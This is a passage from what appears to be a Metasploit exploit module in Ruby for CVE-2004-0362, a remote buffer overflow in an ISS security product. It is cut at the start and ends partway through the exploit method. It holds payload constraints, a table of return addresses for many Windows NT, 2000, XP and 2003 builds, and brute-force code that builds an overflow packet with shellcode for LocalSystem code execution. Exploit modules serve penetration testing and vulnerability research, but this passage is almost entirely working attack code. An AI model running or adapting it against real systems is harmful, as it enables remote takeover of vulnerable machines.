Successful exploitation will result in arbitrary code execution as LocalSystem. This exploit only requires 1 UDP packet, which can be both spoofed and sent to a broadcast address. The ISS exception handler will recover the process after each overflow, giving us the ability to bruteforce the service and exploit it multiple times. }, 'Author' => 'spoonm', 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2004-0362'], ['OSVDB', '4355'], ['URL', 'http://www.eeye.com/html/Research/Advisories/AD20040318.html'], ['URL', 'http://xforce.iss.net/xforce/alerts/id/166'], ], 'Payload' => { 'Space' => 504 -31 -4, 'BadChars' => "\x00", 'MinNops' => 0, 'MaxNops' => 0, 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Bruteforce', { } ], [ 'Bruteforce iis-pam1.dll', { 'Targets' => 3 .. 4 } ], [ 'Bruteforce NT 4.0', { 'Targets' => 5 .. 15 } ], [ 'iis-pam1.dll 3.6.06', { 'Ret' => 0x5e0a47ef } ], [ 'iis-pam1.dll 3.6.11', { 'Ret' => 0x5e0da1db } ], [ 'WinNT SP3/SP4/SP5', { 'Ret' => 0x777e79ab } ], [ 'WinNT SP4/SP5', { 'Ret' => 0x7733b8db } ], [ 'WinNT SP5/SP6 - advapi32', { 'Ret' => 0x77dcd1cb } ], [ 'WinNT SP3/SP5/SP6 - shell32', { 'Ret' => 0x77cec080 } ], [ 'WinNT SP5/SP6 - mswsock', { 'Ret' => 0x7767ebca } ], [ 'WinXP SP0/SP1 - shell32', { 'Ret' => 0x776606af } ], [ 'WinXP SP0/SP1 - atl', { 'Ret' => 0x76b305a7 } ], [ 'WinXP SP0/SP1 - atl', { 'Ret' => 0x76e61a21 } ], [ 'WinXP SP0/SP1 - ws2_32', { 'Ret' => 0x71ab7bfb } ], [ 'WinXP SP0/SP1 - mswsock', { 'Ret' => 0x71a5403d } ], [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ], [ 'Win2000 SP0 - SP4', { 'Ret' => 0x750231e2 } ], [ 'Win2000 SP2/SP3 - samlib', { 'Ret' => 0x75159da3 } ], [ 'Win2000 SP0/SP1 - activeds', { 'Ret' => 0x77ed0beb } ], [ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ], [ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ], [ 'WinXP SP0 - SP1', { 'Ret' => 0x71aa3a4b } ], [ 'Win2003 SP0', { 'Ret' => 0x71bf3cc9 } ], ], 'DisclosureDate' => 'Mar 18 2004', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(1) ], self.class) end def exploit datastore['RPORT'] = rand(65536) if rport == 1 targs = [ target ] if target.name =~ /^Brute/ if target['Targets'] targs = [] target['Targets'].each { |idx| targs << targets[idx] } else targs = targets.dup targs.delete_at(0) targs.delete_at(0) targs.delete_at(0) end end targs.each { |targ| print_status("Trying target #{targ.name} [#{"%.8x" % targ.ret}]...") shellcode = payload.encoded + rand_text_english(payload_space - payload.encoded.length) email = rand_text_english(19) + [targ.ret].pack('V') + shellcode # Hopefully this structure is correct -- ported from msf 2.
